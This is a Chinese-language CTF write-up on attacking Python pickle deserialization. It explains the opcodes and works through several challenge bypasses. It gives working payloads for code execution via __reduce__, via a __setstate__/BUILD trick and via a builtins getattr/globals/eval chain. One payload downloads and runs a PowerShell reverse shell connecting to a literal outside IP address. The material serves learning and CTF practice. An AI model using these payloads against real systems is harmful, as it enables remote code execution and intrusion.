前言

本文主要对CTF中常见的python反序列化利用技术进行学习总结。

pickle

pickle是python用来反序列化和序列化的模块。在该模块中有两个主要的类_Unpickler类和_Pickler,前者在反序列化的时候用到，后者在序列化的时候用到。python用pickle.dumps()进行序列化，用pickle.loads()进行反序列化

有一点需要注意：对于我们自己定义的class，如果直接以形如date = 20191029的方式赋初值，则这个date不会被打包！解决方案是写一个_init_方法

ps:本文都是基于python3。pickle是向下兼容的。

pickletools

pickletools是python自带的pickle调试器，有三个功能：反汇编一个已经被打包的字符串、优化一个已经被打包的字符串、返回一个迭代器来供程序使用。我们一般使用前两种。

反汇编序列化的字符串：pickletools.dis()

优化一个序列化的字符串：pickletools.optimize()

所谓“优化”，其实就是把不必要的PUT指令给删除掉。这个PUT意思是把当前栈的栈顶复制一份，放进储存区——很明显，我们这个class并不需要这个操作，可以省略掉这些PUT指令

汇编指令的分析

这篇文章讲的很清楚，可以跟着例子过一遍。需要注意的是文章没有提到X这个操作符，这个操作符跟V一样是读入字符串，不过它后面紧跟的是四个字节，代表了一个数字（小端序），如\x04\x00\x00\x00,值为4，表示下面跟着的utf8编码的字符串的长度，如后面跟着的name。V是直接跟字符，然后以\n分隔。在文章最后，也有我自己关于这些指令的理解。

在了解了python基本的反序列化原理之后，我们来看几种攻击手段和相关的CTF题。

__reduce__

__reduce__是一个魔术方法，__reduce__ 被定义之后，当对象被Pickle时就会被调用。它要求pickle对他进行怎样的序列化。对应的指令码是R，而R指令码的操作是：

• 取当前栈的栈顶记为args，然后把它弹掉。
• 取当前栈的栈顶记为f，然后把它弹掉。
• 以args为参数，执行函数f，把结果压进当前栈

一种很流行的攻击思路是：利用 __reduce__ 构造恶意字符串，当这个字符串被反序列化的时候，恶意代码会被执行。

 import pickle
import pickletools
import os
class A(object):
    def __reduce__(self):
        cmd = "whoami"
        return (os.system,(cmd,))
a=A()
b=pickle.dumps(a)
print(b)
pickle.loads(b)  

c指令码的妙用

c指令会读出两个字符串(用\n分割)，然后传入find_class方法。查看源码可以看到c指令其实就是获得模块的属性。

来看这样一段源代码

 import pickle
import stao
import base64
class Animal:
    def __init__(self, name, category):
        self.name = name
        self.category = category


    def __eq__(self, other):
        return type(other) is Animal and self.name == other.name and self.category == other.category
def check(data):
    if b'R' in data:
        return 'no reduce!'
    x=pickle.loads(data)
    if(x!= Animal(stao.name,stao.age)):
        return 'not equal'
    return 'well done!'
print(check(base64.b64decode(input())))  

禁用了R指令，所以不能直接用reduce的办法，但是我们可以直接用C指令在反序列化的时候用stao里的属性来赋值。

正常的Animal实例序列化后的字符串：

这里，我们只需用cstao\nname\n,cstao\nage\n，来替换对应的X\x04\x00\x00\x00stao，X\x03\x00\x00\x00ctf。

将payload进行base64编码，然后传进题目。

可以看到，成功用stao模块的属性来实例化了一个Animal类

绕过c指令module限制

前面提到过，c指令（也就是GLOBAL指令）基于find_class这个方法， 然而findclass是可以被重写。如果find_class只允许c指令包含\_main__这一个module，这道题又该如何解决呢？我们在之前的代码上，写一个类，继承pickle的Unpickler，然后重写find_class方法。

 import pickle
import stao
import base64
import io
import sys
class RestrictedUnpickler(pickle.Unpickler):

    def find_class(self, module, name):
        if module == '__main__':
            return getattr(sys.modules['__main__'], name)
        raise pickle.UnpicklingError("global '%s.%s' is forbidden" % (module, name))


def restricted_loads(s):
    return RestrictedUnpickler(io.BytesIO(s)).load()
class Animal:
    def __init__(self, name, category):
        self.name = name
        self.category = category


    def __eq__(self, other):
        return type(other) is Animal and self.name == other.name and self.category == other.category
def check(data):
    if b'R' in data:
        return 'no reduce!'
    x=restricted_loads(data)
    if(x!= Animal(stao.name,stao.age)):
        return 'not equal'
    return 'well done! {} {}'.format(stao.name,stao.age)
print(check(base64.b64decode(input())))  

通过GLOBAL指令引入的变量，可以看作是原变量的引用。我们在栈上修改它的值，会导致原变量也被修改！而且我们可以通过__main__.stao引入这一个module

所以我们的思路是：

• 通过__main__.stao引入这一个module
• 把一个dict压进栈，内容是{‘name’: ‘stao’, ‘age’: ‘ctf’}
• 执行BUILD指令，会导致改写 __main__.stao.name和 __main__.stao.age ，至此stao.name和stao.age已经被篡改成我们想要的内容
• 弹掉栈顶，现在栈变成空的
• 照抄正常的Animal序列化之后的字符串，压入一个正常的Animal对象，name和category分别是’stao’和’ctf’
• 由于栈顶是正常的Animal对象，pickle.loads将会正常返回。 payload:b’\x80\x03c__main__\nstao\n}(X\x04\x00\x00\x00nameX\x04\x00\x00\x00staoX\x03\x00\x00\x00ageX\x03\x00\x00\x00ctfub0c__main__\nAnimal\n)\x81}(X\x04\x00\x00\x00nameX\x04\x00\x00\x00staoX\x08\x00\x00\x00categoryX\x03\x00\x00\x00ctfub.’

base64编码后，传进题目。可以看到我们成功修改了stao的属性

不用reduce，也能RCE

前面谈到过，__reduce__与R指令是绑定的，禁止了R指令就禁止了__reduce__ 方法。那么，在禁止R指令的情况下，我们还能RCE吗？b指令是用来更新实例的。

• 把当前栈栈顶存进state，然后弹掉。
• 把当前栈栈顶记为inst，然后弹掉。
• 利用state这一系列的值来更新实例inst。把得到的对象扔进当前栈。

值得注意的是：如果inst拥有__setstate__方法，则把state交给__setstate__方法来处理；否则的话，直接把state这个dist的内容，合并到inst.__dict__ 里面。(在前面分享的文章中有介绍)。那么我们是否可以利用{‘__setstate__‘: os.system}来BUILD一个原先没有__setstate__方法的对象.使对象的__setstate__就变成了os.system；接下来利用”whoami”来再次BUILD这个对象，来执行setstate(“whoami”) ，而此时__setstate__已经被我们设置为os.system，因此实现了RCE.

 构造payload：b=b'\x80\x03c__main__\nAnimal\n)\x81}(V__setstate__\ncos\nsystem\nubVwhoami\nb0c__main__\nAnimal\n)\x81}(X\x04\x00\x00\x00nameX\x04\x00\x00\x00staoX\x08\x00\x00\x00categoryX\x03\x00\x00\x00ctfub.'  

反序列化字符串，可以看到成功执行命令

这里在执行命令之后，用指令0弹出栈顶元素，再重新写一个正常的Animal对象，是为了防止反序列化的时候出错。

来试一下反弹shell

 b=b'\x80\x03c__main__\nAnimal\n)\x81}(V__setstate__\ncos\nsystem\nubVpowershell iex (New-Object Net.WebClient).DownloadString('#39;);Invoke-PowerShellTcp -Reverse -IPAddress 121.196.193.160 -Port 8080\nb0c__main__\nAnimal\n)\x81}(X\x04\x00\x00\x00nameX\x04\x00\x00\x00staoX\x08\x00\x00\x00categoryX\x03\x00\x00\x00ctfub.'  

成功反弹

构造模块存储到memo,然后再次调用

来看这样一段代码：

 import pickle
import base64
import builtins
import io
class RestrictedUnpickler(pickle.Unpickler):
    blacklist = {'eval', 'exec', 'execfile', 'compile', 'open', 'input', '__import__', 'exit'}
    def find_class(self, module, name):
        if module == "builtins" and name not in self.blacklist:
            return getattr(builtins, name)

        raise pickle.UnpicklingError("global '%s.%s' is forbidden" %(module, name))


def restricted_loads(s):
    return RestrictedUnpickler(io.BytesIO(s)).load()

restricted_loads(base64.b64decode(input()))  

代码限定了c指令只能用builtins这个模块，而且过滤了一些执行命令的方法。但是没有禁止getattr这个方法，因此我们可以构造builtins.getattr(builtins, ‘eval’)的方法来构造eval函数.

接下来我们得构造出一个builtins模块来传给getattr的第一个参数，因为find_class限制了我们c指令只能用builtins模块，所以我们来看看这个模块里面有什么办法能产生出builtins模块。globals()函数会以字典类型返回当前位置的全部全局变量。builtins模块中有这个方法，而且全局变量中是有builtins模块的。

globals()函数返回的是一个字典，所以我们还得从字典中提取出builtins模块。python中用get方法通过指定键值来获得字典中的一个值。所以我们可以提取字典中的get办法。

构造builtins模块的思路我们已经有了，接下来就是写指令。首先来看下获得get方法的指令。

 b"\x80\x03cbuiltins\ngetattr\ncbuiltins\ndict\nVget\n\x86R."  

再来看下怎么执行globals函数来获得字典。

 b"\x80\x03cbuiltins\nglobals\n)R."  

字典有了，get方法有了，下面就是用get方法来获得字典中的值并存入memo,以便后续调用。

 b"\x80\x03cbuiltins\ngetattr\ncbuiltins\ndict\nVget\n\x86R(cbuiltins\nglobals\n)RVbuiltins\ntRp1\n."  

成功构造,现在我们可以构造eval函数了,使用g1获取刚才的builtins，从而获得eval方法

 b"\x80\x03cbuiltins\ngetattr\ncbuiltins\ndict\nVget\n\x86R(cbuiltins\nglobals\n)RVbuiltins\ntRp1\ncbuiltins\ngetattr\ng1\nVeval\n\x86R."  

成功获得eval函数，现在我们可以利用这个函数来执行命令

 b'\x80\x03cbuiltins\ngetattr\ncbuiltins\ndict\nVget\n\x86R(cbuiltins\nglobals\n)RVbuiltins\ntRp1\ncbuiltins\ngetattr\ng1\nVeval\n\x86RV__import__("os").system("whoami")\n\x85R.'  

可以看到成功执行了命令。将payload编码然后传入题目，也可以成功执行命令

思路和题目来自：#toc-2

关于指令的理解

在看了几篇博客以及pickle的源码之后，对各指令的作用的理解如下(如有错误，欢迎指出哦)：

• ),}是向堆栈中压入一个空元组，空字典
• ( 我的理解是，在堆栈中压入一个特殊的标志，后面的操作是在这个标志之内进行的，最后可以用t或u来生成字元组或字典。
• t 将第一个(和t之前的元素当作一个元组，压入堆栈。

• u 将第一个(和u之间的元素两两一对，前面的为键，后面的为值，存进栈顶的空字典，压入堆栈。要注意的是，栈顶必须事先有个空字典。

• c 比较容易理解，就是传入两个参数(用\n分隔)给find_class方法，通常是用来获取一个模块中的属性。如cstao\nname\n
• b call __setstate__ or __dict__.update(),即用来更新实例，如果实例中有setstate方法，则按setstate方法操作，否则就是将字典直接合并到实例的字典中。
• \x81 从栈中先弹出一个元素，记为args；再弹出一个元素，记为cls。接下来，执行cls.__new__(cls, *args) ，然后把得到的东西压进栈。说人话，那就是：从栈中弹出一个参数和一个class，然后利用这个参数实例化class，把得到的实例压进栈。
• \x85 将栈顶的元素弹进元组，压入堆栈。\x86 是将从栈顶开始的两个元素弹进元组，压入堆栈，\x87 是三个。
• p 将栈顶元素存入memo,索引是一个字符串。如p1\n
• g push item from memo on stack; index is string arg 和p相反的操作
• r 取当前栈的栈顶记为args，然后把它弹掉;取当前栈的栈顶记为f，然后把它弹掉;以args为参数，执行函数f，把结果压进当前栈.
• X 将字符串压入堆栈，后面跟四个字节代表字符串的长度。如X\x04\x00\x00\x00stao
• V 将字符串压入堆栈，用\n分隔。如Vstao\nVctf\n
• S 将字符串压入堆栈，要带引号，用\n分隔。如S’stao’\n
• 0 将栈顶弹出。

需要注意的是：

• 其他模块的load也可以触发pickle反序列化漏洞。例如：numpy.load()先尝试以numpy自己的数据格式导入；如果失败，则尝试以pickle的格式导入。因此numpy.load()也可以触发pickle反序列化漏洞。
• for i in sys.modules[‘builtins’].__dict__: print(i)可以用这个办法查看模块中的属性。

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